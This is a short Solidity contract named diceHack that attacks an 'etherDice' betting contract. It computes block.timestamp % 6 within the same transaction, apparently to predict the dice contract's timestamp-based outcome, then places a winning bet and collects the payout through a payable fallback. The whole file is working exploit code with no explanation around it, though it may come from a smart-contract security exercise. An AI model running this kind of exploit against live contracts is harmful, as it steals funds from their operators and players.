pragma solidity >=0.4.22 <0.6.0;

interface etherDice {
    function bet(uint _number) external payable returns(bool);
}

contract diceHack {
    etherDice dice;
    
    constructor (address _etherDice) public {
        dice = etherDice(_etherDice);
    }
    
    function bet() public payable {
        uint number = block.timestamp % 6;
        dice.bet.value(msg.value)(number);
    }
    
    function getBalance() public view returns(uint) {
        return address(this).balance;
    }
    
    function () external payable {
    }
}